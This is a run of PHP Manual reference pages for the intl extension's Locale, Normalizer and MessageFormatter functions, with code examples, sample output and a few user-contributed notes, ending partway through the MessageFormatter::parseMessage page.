Locale::getPrimaryLanguage
Locale::getScript
Locale
PHP Manual

Locale::getRegion

locale_get_region

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getRegion -- locale_get_region — Gets the region for the input locale

Description

Object oriented style

static string Locale::getRegion ( string $locale )

Procedural style

string locale_get_region ( string $locale )

Gets the region for the input locale.

Parameters

locale

The locale to extract the region code from

Return Values

The region subtag for the locale or NULL if not present

Examples

Example #1 locale_get_region() example

<?php
echo locale_get_region('de-CH-1901');
?>

Example #2 OO example

<?php
echo Locale::getRegion('de-CH-1901');
?>

The above example will output:

CH

See Also

  • locale_get_primary_language() - Gets the primary language for the input locale
  • locale_get_script() - Gets the script for the input locale
  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::getPrimaryLanguage
Locale::getScript
Locale


Gets the script for the input locale

Locale::getRegion
Locale::lookup
Locale
PHP Manual

Locale::getScript

locale_get_script

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getScript -- locale_get_script — Gets the script for the input locale

Description

Object oriented style

static string Locale::getScript ( string $locale )

Procedural style

string locale_get_script ( string $locale )

Gets the script for the input locale.

Parameters

locale

The locale to extract the script code from

Return Values

The script subtag for the locale or NULL if not present

Examples

Example #1 locale_get_script() example

<?php
echo locale_get_script('sr-Cyrl');
?>

Example #2 OO example

<?php
echo Locale::getScript('sr-Cyrl');
?>

The above example will output:

Cyrl

See Also

  • locale_get_primary_language() - Gets the primary language for the input locale
  • locale_get_region() - Gets the region for the input locale
  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::getRegion
Locale::lookup
Locale


Searches the language tag list for the best match to the language

Locale::getScript
Locale::parseLocale
Locale
PHP Manual

Locale::lookup

locale_lookup

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::lookup -- locale_lookup — Searches the language tag list for the best match to the language

Description

Object oriented style

static string Locale::lookup ( array $langtag , string $locale [, bool $canonicalize = false [, string $default ]] )

Procedural style

string locale_lookup ( array $langtag , string $locale [, bool $canonicalize = false [, string $default ]] )

Searches the items in langtag for the best match to the language range specified in locale according to RFC 4647's lookup algorithm.

Parameters

langtag

An array containing a list of language tags to compare to locale. Maximum 100 items allowed.

locale

The locale to use as the language range when matching.

canonicalize

If true, the arguments will be converted to canonical form before matching.

default

The locale to use if no match is found.

Return Values

The closest matching language tag or default value.

Examples

Example #1 locale_lookup() example

<?php
$arr = array(
    'de-DEVA',
    'de-DE-1996',
    'de',
    'de-De'
);
echo locale_lookup($arr, 'de-DE-1996-x-prv1-prv2', 'en_US');
?>

Example #2 OO example

<?php
$arr = array(
    'de-DEVA',
    'de-DE-1996',
    'de',
    'de-De'
);
echo Locale::lookup($arr, 'de-DE-1996-x-prv1-prv2', 'en_US');
?>

The above example will output:

de_de_1996

See Also

  • locale_filter_matches() - Checks if a language tag filter matches with locale

User Contributed Notes

There are no user contributed notes for this page.
Locale::getScript
Locale::parseLocale
Locale


Returns a key-value array of locale ID subtag elements.

Locale::lookup
Locale::setDefault
Locale
PHP Manual

Locale::parseLocale

locale_parse

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::parseLocale -- locale_parse — Returns a key-value array of locale ID subtag elements.

Description

Object oriented style

static array Locale::parseLocale ( string $locale )

Procedural style

array locale_parse ( string $locale )

Returns a key-value array of locale ID subtag elements.

Parameters

locale

The locale to extract the subtag array from. Note: The 'variant' and 'private' subtags can take maximum 15 values whereas 'extlang' can take maximum 3 values.

Return Values

Returns an array containing a list of key-value pairs, where the keys identify the particular locale ID subtags, and the values are the associated subtag values. The array will be ordered as the locale id subtags e.g. in the locale id if variants are '-varX-varY-varZ' then the returned array will have variant0=>varX , variant1=>varY , variant2=>varZ

Examples

Example #1 locale_parse() example

<?php
$arr = locale_parse('sl-Latn-IT-nedis');
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}
?>

Example #2 OO example

<?php
$arr = Locale::parseLocale('sl-Latn-IT-nedis');
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}
?>

The above example will output:

language : sl , script : Latn , region : IT , variant0 : NEDIS ,

See Also

  • locale_compose() - Returns a correctly ordered and delimited locale ID

User Contributed Notes

There are no user contributed notes for this page.
Locale::lookup
Locale::setDefault
Locale


sets the default runtime locale

Locale::parseLocale
Normalizer
Locale
PHP Manual

Locale::setDefault

locale_set_default

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::setDefault -- locale_set_default — sets the default runtime locale

Description

Object oriented style

static bool Locale::setDefault ( string $locale )

Procedural style

bool locale_set_default ( string $locale )

Sets the default runtime locale to $locale. This changes the value of INTL global 'default_locale' locale identifier. UAX #35 extensions are accepted.

Parameters

locale

Is a BCP 47 compliant language tag containing the

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 locale_set_default() example

<?php
locale_set_default('de-DE');
echo locale_get_default();
?>

Example #2 OO example

<?php
Locale::setDefault('de-DE');
echo Locale::getDefault();
?>

The above example will output:

de-DE

See Also

  • locale_get_default() - Gets the default locale value from the INTL global 'default_locale'

User Contributed Notes

There are no user contributed notes for this page.
Locale::parseLocale
Normalizer
Locale


The Normalizer class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

Normalization is a process that involves transforming characters and sequences of characters into a formally-defined underlying representation. This process is most important when text needs to be compared for sorting and searching, but it is also used when storing text to ensure that the text is stored in a consistent representation.

The Unicode Consortium has defined a number of normalization forms reflecting the various needs of applications:

  • Normalization Form D (NFD) - Canonical Decomposition
  • Normalization Form C (NFC) - Canonical Decomposition followed by Canonical Composition
  • Normalization Form KD (NFKD) - Compatibility Decomposition
  • Normalization Form KC (NFKC) - Compatibility Decomposition followed by Canonical Composition
The different forms are defined in terms of a set of transformations on the text, transformations that are expressed by both an algorithm and a set of data files.

Class synopsis

Normalizer {
/* Methods */
static bool isNormalized ( string $input [, string $form = Normalizer::FORM_C ] )
static string normalize ( string $input [, string $form = Normalizer::FORM_C ] )
}

Predefined Constants

The following constants define the normalization form used by the normalizer:

Normalizer::FORM_C (string)
Normalization Form C (NFC) - Canonical Decomposition followed by Canonical Composition
Normalizer::FORM_D (string)
Normalization Form D (NFD) - Canonical Decomposition
Normalizer::FORM_KC (string)
Normalization Form KC (NFKC) - Compatibility Decomposition, followed by Canonical Composition
Normalizer::FORM_KD (string)
Normalization Form KD (NFKD) - Compatibility Decomposition
Normalizer::NONE (string)
No decomposition/composition
Normalizer::OPTION_DEFAULT (string)
Default normalization options

See Also

  • » Unicode Normalization
  • » Unicode Normalization FAQ
  • » ICU User Guide - Normalization
  • » ICU API Reference - Normalization

Table of Contents

  • Normalizer::isNormalized — Checks if the provided string is already in the specified normalization form.
  • Normalizer::normalize — Normalizes the input provided and returns the normalized string

User Contributed Notes

There are no user contributed notes for this page.
Locale::setDefault
Normalizer::isNormalized
intl


Checks if the provided string is already in the specified normalization form.

Normalizer
Normalizer::normalize
Normalizer
PHP Manual

Normalizer::isNormalized

normalizer_is_normalized

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Normalizer::isNormalized -- normalizer_is_normalized — Checks if the provided string is already in the specified normalization form.

Description

Object oriented style

static bool Normalizer::isNormalized ( string $input [, string $form = Normalizer::FORM_C ] )

Procedural style

bool normalizer_is_normalized ( string $input [, string $form = Normalizer::FORM_C ] )

Checks if the provided string is already in the specified normalization form.

Parameters

input

The input string to normalize

form

One of the normalization forms.

Return Values

TRUE if normalized, FALSE otherwise or if there an error

Examples

Example #1 normalizer_is_normalized() example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_orig = 'A' . $char_combining_ring_above;
$char_norm = normalizer_normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo ( normalizer_is_normalized($char_orig, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
echo '; ';
echo ( normalizer_is_normalized($char_norm, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
?>

Example #2 OO example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_orig = 'A' . $char_combining_ring_above;
$char_norm = Normalizer::normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo ( Normalizer::isNormalized($char_orig, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
echo '; ';
echo ( Normalizer::isNormalized($char_norm, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
?>

The above example will output:

not normalized; normalized

See Also

  • normalizer_normalize() - Normalizes the input provided and returns the normalized string

User Contributed Notes

There are no user contributed notes for this page.
Normalizer
Normalizer::normalize
Normalizer


Normalizes the input provided and returns the normalized string

Normalizer::isNormalized
MessageFormatter
Normalizer
PHP Manual

Normalizer::normalize

normalizer_normalize

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Normalizer::normalize -- normalizer_normalize — Normalizes the input provided and returns the normalized string

Description

Object oriented style

static string Normalizer::normalize ( string $input [, string $form = Normalizer::FORM_C ] )

Procedural style

string normalizer_normalize ( string $input [, string $form = Normalizer::FORM_C ] )

Normalizes the input provided and returns the normalized string

Parameters

input

The input string to normalize

form

One of the normalization forms.

Return Values

The normalized string or NULL if an error occurred.

Examples

Example #1 normalizer_normalize() example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_1 = normalizer_normalize( $char_A_ring, Normalizer::FORM_C );
$char_2 = normalizer_normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo urlencode($char_1);
echo ' ';
echo urlencode($char_2);
?>

Example #2 OO example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_1 = Normalizer::normalize( $char_A_ring, Normalizer::FORM_C );
$char_2 = Normalizer::normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo urlencode($char_1);
echo ' ';
echo urlencode($char_2);
?>

The above example will output:

%C3%85 %C3%85

See Also

  • normalizer_is_normalized() - Checks if the provided string is already in the specified normalization form.

User Contributed Notes

o_shes01 at uni-muenster dot de 23-Jan-2011 08:59
This method/function will return boolean false if $input is not a valid utf-8-string, e.g.

<?php
   var_dump(Normalizer::normalize("\xFF"));
   // prints "bool(false)"
?>
akniep at rayo dot info 30-Jul-2009 09:03
Especially when matching texts against each-other or against keywords, it is helpful to normalize the texts before.
The following function removes all diacritics (marks like accents) from a given UTF8-encoded texts and returns ASCii-text.

Be sure to have the PHP-Normalizer-extension (intl and icu) installed.

Tipp: You may also want to map the text to lower case before execute matching procedures ...

<?php

function normalizeUtf8String( $s)
{
    // Normalizer-class missing!
    if (! class_exists("Normalizer", $autoload = false))
        return $original_string;

    // maps German (umlauts) and other European characters onto two characters before just removing diacritics
    $s    = preg_replace( '@\x{00c4}@u'    , "AE",    $s );    // umlaut Ä => AE
    $s    = preg_replace( '@\x{00d6}@u'    , "OE",    $s );    // umlaut Ö => OE
    $s    = preg_replace( '@\x{00dc}@u'    , "UE",    $s );    // umlaut Ü => UE
    $s    = preg_replace( '@\x{00e4}@u'    , "ae",    $s );    // umlaut ä => ae
    $s    = preg_replace( '@\x{00f6}@u'    , "oe",    $s );    // umlaut ö => oe
    $s    = preg_replace( '@\x{00fc}@u'    , "ue",    $s );    // umlaut ü => ue
    $s    = preg_replace( '@\x{00f1}@u'    , "ny",    $s );    // ñ => ny
    $s    = preg_replace( '@\x{00ff}@u'    , "yu",    $s );    // ÿ => yu

    // maps special characters (characters with diacritics) on their base-character followed by the diacritical mark
        // exmaple:  Ú => U´,  á => a`
    $s    = Normalizer::normalize( $s, Normalizer::FORM_D );

    $s    = preg_replace( '@\pM@u'        , "",    $s );    // removes diacritics

    $s    = preg_replace( '@\x{00df}@u'    , "ss",    $s );    // maps German ß onto ss
    $s    = preg_replace( '@\x{00c6}@u'    , "AE",    $s );    // Æ => AE
    $s    = preg_replace( '@\x{00e6}@u'    , "ae",    $s );    // æ => ae
    $s    = preg_replace( '@\x{0132}@u'    , "IJ",    $s );    // ? => IJ
    $s    = preg_replace( '@\x{0133}@u'    , "ij",    $s );    // ? => ij
    $s    = preg_replace( '@\x{0152}@u'    , "OE",    $s );    // Œ => OE
    $s    = preg_replace( '@\x{0153}@u'    , "oe",    $s );    // œ => oe

    $s    = preg_replace( '@\x{00d0}@u'    , "D",    $s );    // Ð => D
    $s    = preg_replace( '@\x{0110}@u'    , "D",    $s );    // Ð => D
    $s    = preg_replace( '@\x{00f0}@u'    , "d",    $s );    // ð => d
    $s    = preg_replace( '@\x{0111}@u'    , "d",    $s );    // d => d
    $s    = preg_replace( '@\x{0126}@u'    , "H",    $s );    // H => H
    $s    = preg_replace( '@\x{0127}@u'    , "h",    $s );    // h => h
    $s    = preg_replace( '@\x{0131}@u'    , "i",    $s );    // i => i
    $s    = preg_replace( '@\x{0138}@u'    , "k",    $s );    // ? => k
    $s    = preg_replace( '@\x{013f}@u'    , "L",    $s );    // ? => L
    $s    = preg_replace( '@\x{0141}@u'    , "L",    $s );    // L => L
    $s    = preg_replace( '@\x{0140}@u'    , "l",    $s );    // ? => l
    $s    = preg_replace( '@\x{0142}@u'    , "l",    $s );    // l => l
    $s    = preg_replace( '@\x{014a}@u'    , "N",    $s );    // ? => N
    $s    = preg_replace( '@\x{0149}@u'    , "n",    $s );    // ? => n
    $s    = preg_replace( '@\x{014b}@u'    , "n",    $s );    // ? => n
    $s    = preg_replace( '@\x{00d8}@u'    , "O",    $s );    // Ø => O
    $s    = preg_replace( '@\x{00f8}@u'    , "o",    $s );    // ø => o
    $s    = preg_replace( '@\x{017f}@u'    , "s",    $s );    // ? => s
    $s    = preg_replace( '@\x{00de}@u'    , "T",    $s );    // Þ => T
    $s    = preg_replace( '@\x{0166}@u'    , "T",    $s );    // T => T
    $s    = preg_replace( '@\x{00fe}@u'    , "t",    $s );    // þ => t
    $s    = preg_replace( '@\x{0167}@u'    , "t",    $s );    // t => t

    // remove all non-ASCii characters
    $s    = preg_replace( '@[^\0-\x80]@u'    , "",    $s );

    // possible errors in UTF8-regular-expressions
    if (empty($s))
        return $original_string;
    else
        return $s;
}
?>

The above function is mainly based on the following article:
http://ahinea.com/en/tech/accented-translate.html
Normalizer::isNormalized
MessageFormatter
Normalizer


The MessageFormatter class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

MessageFormatter is a concrete class that enables users to produce concatenated, language-neutral messages. The methods supplied in this class are used to build all the messages that are seen by end users.

The MessageFormatter class assembles messages from various fragments (such as text fragments, numbers, and dates) supplied by the program. Because of the MessageFormatter class, the program does not need to know the order of the fragments. The class uses the formatting specifications for the fragments to assemble them into a message that is contained in a single string within a resource bundle. For example, MessageFormatter enables you to print the phrase "Finished printing x out of y files..." in a manner that still allows for flexibility in translation.

Previously, an end user message was created as a sentence and handled as a string. This procedure created problems for localizers because the sentence structure, word order, number format and so on are very different from language to language. The language-neutral way to create messages keeps each part of the message separate and provides keys to the data. Using these keys, the MessageFormatter class can concatenate the parts of the message, localize them, and display a well-formed string to the end user.

MessageFormatter takes a set of objects, formats them, and then inserts the formatted strings into the pattern at the appropriate places. Choice formats can be used in conjunction with MessageFormatter to handle plurals, match numbers, and select from an array of items. Typically, the message format will come from resources and the arguments will be dynamically set at runtime.

Class synopsis

MessageFormatter {
/* Methods */
__construct ( string $locale , string $pattern )
MessageFormatter create ( string $locale , string $pattern )
static string formatMessage ( string $locale , string $pattern , array $args )
string format ( array $args )
int getErrorCode ( void )
string getErrorMessage ( void )
string getLocale ( void )
string getPattern ( void )
static array parseMessage ( string $locale , string $pattern , string $source )
array parse ( string $value )
bool setPattern ( string $pattern )
}

See Also

  • » ICU formatting documentation
  • » ICU message formatting description
  • » ICU message formatters
  • » ICU choice formatters

Table of Contents

  • MessageFormatter::create — Constructs a new Message Formatter
  • MessageFormatter::formatMessage — Quick format message
  • MessageFormatter::format — Format the message
  • MessageFormatter::getErrorCode — Get the error code from last operation
  • MessageFormatter::getErrorMessage — Get the error text from the last operation
  • MessageFormatter::getLocale — Get the locale for which the formatter was created.
  • MessageFormatter::getPattern — Get the pattern used by the formatter
  • MessageFormatter::parseMessage — Quick parse input string
  • MessageFormatter::parse — Parse input string according to pattern
  • MessageFormatter::setPattern — Set the pattern used by the formatter

User Contributed Notes

There are no user contributed notes for this page.
Normalizer::normalize
MessageFormatter::create
intl


Constructs a new Message Formatter

MessageFormatter
MessageFormatter::formatMessage
MessageFormatter
PHP Manual

MessageFormatter::create

MessageFormatter::__construct

msgfmt_create

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::create -- MessageFormatter::__construct -- msgfmt_create — Constructs a new Message Formatter

Description

Object oriented style (method)

MessageFormatter MessageFormatter::create ( string $locale , string $pattern )

Object oriented style (constructor):

MessageFormatter::__construct() ( string $locale , string $pattern )

Procedural style

MessageFormatter msgfmt_create ( string $locale , string $pattern )

Constructs a new Message Formatter

Parameters

locale

The locale to use when formatting arguments

pattern

The pattern string to stick arguments into. The pattern uses an 'apostrophe-friendly' syntax; it is run through » umsg_autoQuoteApostrophe before being interpreted.

Return Values

The formatter object

Examples

Example #1 msgfmt_create() example

<?php
$fmt = msgfmt_create("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
$fmt = msgfmt_create("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo $fmt->format(array(4560, 123, 4560/123));
$fmt = new MessageFormatter("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
echo $fmt->format(array(4560, 123, 4560/123));
?>

The above example will output:

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum

See Also

  • msgfmt_format() - Format the message
  • msgfmt_parse() - Parse input string according to pattern
  • msgfmt_get_error_code() - Get the error code from last operation
  • msgfmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

ezarko at synacor dot com 05-Oct-2009 03:18
Beware: passing an empty string for format returns null, not a formatter which returns empty strings.

$ php -r "print_r(new MessageFormatter('en_US',' '));"
MessageFormatter Object
(
)
$ php -r "print_r(new MessageFormatter('en_US',''));"
MessageFormatter
MessageFormatter::formatMessage
MessageFormatter


Quick format message

MessageFormatter::create
MessageFormatter::format
MessageFormatter
PHP Manual

MessageFormatter::formatMessage

msgfmt_format_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::formatMessage -- msgfmt_format_message — Quick format message

Description

Object oriented style

static string MessageFormatter::formatMessage ( string $locale , string $pattern , array $args )

Procedural style

string msgfmt_format_message ( string $locale , string $pattern , array $args )

Quick formatting function that formats the string without having to explicitly create the formatter object. Use this function when the format operation is done only once and does not need and parameters or state to be kept.

Parameters

locale

The locale to use for formatting locale-dependent parts

pattern

The pattern string to insert things into. The pattern uses an 'apostrophe-friendly' syntax; it is run through » umsg_autoQuoteApostrophe before being interpreted.

args

The array of values to insert into the format string

Return Values

The formatted pattern string or FALSE if an error occurred

Examples

Example #1 msgfmt_format_message() example

<?php
echo msgfmt_format_message("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree", array(4560, 123, 4560/123));
echo msgfmt_format_message("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum", array(4560, 123, 4560/123));
?>

Example #2 OO example

<?php
echo msgfmt_format_message("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree", array(4560, 123, 4560/123));
echo msgfmt_format_message("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum", array(4560, 123, 4560/123));
?>

The above example will output:

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_parse() - Parse input string according to pattern
  • msgfmt_get_error_code() - Get the error code from last operation
  • msgfmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

There are no user contributed notes for this page.
MessageFormatter::create
MessageFormatter::format
MessageFormatter


Format the message

MessageFormatter::formatMessage
MessageFormatter::getErrorCode
MessageFormatter
PHP Manual

MessageFormatter::format

msgfmt_format

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::format -- msgfmt_format — Format the message

Description

Object oriented style

string MessageFormatter::format ( array $args )

Procedural style

string msgfmt_format ( MessageFormatter $fmt , array $args )

Format the message by substituting the data into the format string according to the locale rules

Parameters

fmt

The message formatter

args

Arguments to insert into the format string

Return Values

The formatted string, or FALSE if an error occurred

Examples

Example #1 msgfmt_format() example

<?php
$fmt = msgfmt_create("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
$fmt = msgfmt_create("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo $fmt->format(array(4560, 123, 4560/123));
$fmt = new MessageFormatter("de", "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
echo $fmt->format(array(4560, 123, 4560/123));
?>

The above example will output:

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_parse() - Parse input string according to pattern
  • msgfmt_format_message() - Quick format message
  • msgfmt_get_error_code() - Get the error code from last operation
  • msgfmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

There are no user contributed notes for this page.
MessageFormatter::formatMessage
MessageFormatter::getErrorCode
MessageFormatter


Get the error code from last operation

MessageFormatter::format
MessageFormatter::getErrorMessage
MessageFormatter
PHP Manual

MessageFormatter::getErrorCode

msgfmt_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::getErrorCode -- msgfmt_get_error_code — Get the error code from last operation

Description

Object oriented style

int MessageFormatter::getErrorCode ( void )

Procedural style

int msgfmt_get_error_code ( MessageFormatter $fmt )

Get the error code from last operation.

Parameters

fmt

The message formatter

Return Values

The error code, one of UErrorCode values. Initial value is U_ZERO_ERROR.

Examples

Example #1 msgfmt_get_error_code() example

<?php
$fmt = msgfmt_create("en_US", "{0, number} monkeys on {1, number} trees");
$str = msgfmt_format($fmt, array());
if(!$str) {
    echo "ERROR: ".msgfmt_get_error_message($fmt) . " (" . msgfmt_get_error_code($fmt) . ")\n";
}
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0, number} monkeys on {1, number} trees");
$str = $fmt->format(array());
if(!$str) {
    echo "ERROR: ".$fmt->getErrorMessage() . " (" . $fmt->getErrorCode() . ")\n";
}
?>

The above example will output:

ERROR: msgfmt_format: not enough parameters: U_ILLEGAL_ARGUMENT_ERROR (1)

See Also

  • msgfmt_get_error_message() - Get the error text from the last operation
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.
MessageFormatter::format
MessageFormatter::getErrorMessage
MessageFormatter


Get the error text from the last operation

MessageFormatter::getErrorCode
MessageFormatter::getLocale
MessageFormatter
PHP Manual

MessageFormatter::getErrorMessage

msgfmt_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::getErrorMessage -- msgfmt_get_error_message — Get the error text from the last operation

Description

Object oriented style

string MessageFormatter::getErrorMessage ( void )

Procedural style

string msgfmt_get_error_message ( MessageFormatter $fmt )

Get the error text from the last operation.

Parameters

fmt

The message formatter

Return Values

Description of the last error.

Examples

Example #1 msgfmt_get_error_message() example

<?php
$fmt = msgfmt_create("en_US", "{0, number} monkeys on {1, number} trees");
$str = msgfmt_format($fmt, array());
if(!$str) {
    echo "ERROR: ".msgfmt_get_error_message($fmt) . " (" . msgfmt_get_error_code($fmt) . ")\n";
}
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0, number} monkeys on {1, number} trees");
$str = $fmt->format(array());
if(!$str) {
    echo "ERROR: ".$fmt->getErrorMessage() . " (" . $fmt->getErrorCode() . ")\n";
}
?>

The above example will output:

ERROR: msgfmt_format: not enough parameters: U_ILLEGAL_ARGUMENT_ERROR (1)

See Also

  • msgfmt_get_error_code() - Get the error code from last operation
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.
MessageFormatter::getErrorCode
MessageFormatter::getLocale
MessageFormatter


Get the locale for which the formatter was created.

MessageFormatter::getErrorMessage
MessageFormatter::getPattern
MessageFormatter
PHP Manual

MessageFormatter::getLocale

msgfmt_get_locale

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::getLocale -- msgfmt_get_locale — Get the locale for which the formatter was created.

Description

Object oriented style

string MessageFormatter::getLocale ( void )

Procedural style

string msgfmt_get_locale ( NumberFormatter $formatter )

Get the locale for which the formatter was created.

Parameters

formatter

The formatter resource

Return Values

The locale name

Examples

Example #1 msgfmt_get_locale() example

<?php
$fmt = msgfmt_create('en_US', "Number {0,number}");
echo msgfmt_get_locale($fmt);
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter('en_US', "Number {0,number}");
echo $fmt->getLocale();
?>

The above example will output:

en_US

See Also

  • msgfmt_create() - Constructs a new Message Formatter

User Contributed Notes

There are no user contributed notes for this page.
MessageFormatter::getErrorMessage
MessageFormatter::getPattern
MessageFormatter


Get the pattern used by the formatter

MessageFormatter::getLocale
MessageFormatter::parseMessage
MessageFormatter
PHP Manual

MessageFormatter::getPattern

msgfmt_get_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::getPattern -- msgfmt_get_pattern — Get the pattern used by the formatter

Description

Object oriented style

string MessageFormatter::getPattern ( void )

Procedural style

string msgfmt_get_pattern ( MessageFormatter $fmt )

Get the pattern used by the formatter

Parameters

fmt

The message formatter

Return Values

The pattern string for this message formatter

Examples

Example #1 msgfmt_get_pattern() example

<?php
$fmt = msgfmt_create( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatting result: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";

msgfmt_set_pattern( $fmt, "{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatted number: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatting result: " . $fmt->format(array(123, 456)) . "\n";

$fmt->setPattern("{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatted number: " . $fmt->format(array(123, 456)) . "\n";
?>

The above example will output:

Default pattern: '{0,number} monkeys on {1,number} trees'
Formatting result: 123 monkeys on 456 trees
New pattern: '{0,number} trees hosting {1,number} monkeys'
Formatted number: 123 trees hosting 456 monkeys

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_set_pattern() - Set the pattern used by the formatter

User Contributed Notes

There are no user contributed notes for this page.
MessageFormatter::getLocale
MessageFormatter::parseMessage
MessageFormatter


Quick parse input string

MessageFormatter::getPattern
MessageFormatter::parse
MessageFormatter
PHP Manual

MessageFormatter::parseMessage

msgfmt_parse_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::parseMessage -- msgfmt_parse_message — Quick parse input string

Description

Object oriented style

static array MessageFormatter::parseMessage ( string $locale , string $pattern , string $source )

Procedural style

array msgfmt_parse_message ( string $locale , string $pattern , string $value )

Parses input string without explicitly creating the formatter object. Use this function when the format operation is done only once and does not need and parameters or state to be kept.

Parameters

locale

The locale to use for parsing locale-dependent parts

pattern

The pattern with which to parse the value.

source

The string to parse, conforming to the pattern.

Return Values

An array containing items extracted, or FALSE on error

Examples

Example #1 msgfmt_parse_message() example

<?php
$fmt = msgfmt_parse_message('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree",
                            "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($fmt);

$fmt = msgfmt_parse_message('de', "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum",
                            "4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum");
var_export($fmt);
?>

Example #2 OO example

<?php
$fmt = MessageFormatter::parseMessage('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree",
